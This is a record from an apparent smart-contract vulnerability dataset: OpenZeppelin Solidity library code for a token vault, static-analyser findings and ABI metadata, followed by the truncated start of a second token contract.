* * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.5.0; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } // File: @openzeppelin/contracts/token/ERC20/ERC20Detailed.sol pragma solidity ^0.5.0; import "./IERC20.sol"; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } }
[{"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["400", "381", "366", "388"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Address.sol": [31]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Address.sol": [64, 65, 66, 67, 68, 69, 63]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Address.sol": [41, 42, 43]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Address.sol": [32, 33, 24, 25, 26, 27, 28, 29, 30, 31]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Address.sol": [1]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Address.sol": [67]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 397, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 502, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 46, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 51, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 56, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 5, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 132, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 147, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 179, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 340, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 422, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 657, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 716, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 797, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 877, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 353, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 455, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 457, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 459, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 665, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 666, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 667, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 21, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 453, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 813, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 900, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 817, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 821, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 832, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 837, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 842, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 863, "severity": 3}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 907, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 939, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 939, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 939, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 940, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 940, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 940, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 940, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 943, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 943, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 943, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 944, "severity": 1}]
[{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_controller","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"available","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"balance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"controller","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"deposit","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"depositAll","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"earn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getPricePerFullShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"governance","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"reserve","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"harvest","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"max","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"min","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_controller","type":"address"}],"name":"setController","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_governance","type":"address"}],"name":"setGovernance","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_min","type":"uint256"}],"name":"setMin","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"token","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_shares","type":"uint256"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"withdrawAll","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]
v0.5.17+commit.d19bba13
false
200
000000000000000000000000075b1bb99792c9e1041ba13afef80c91a1e70fb30000000000000000000000004854207e7a35e761c73fd290095c50282c384c69
Default
false
DCYToken
0x7a5b25dc2a3dd13d624fb83cda545e42929c19c8
Solidity
pragma solidity ^0.4.17; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant public returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } interface Version { function blockVersion() constant public returns (string version); } contract StandardToken is Token { function transfer(address _to, uint256 _value) public returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. 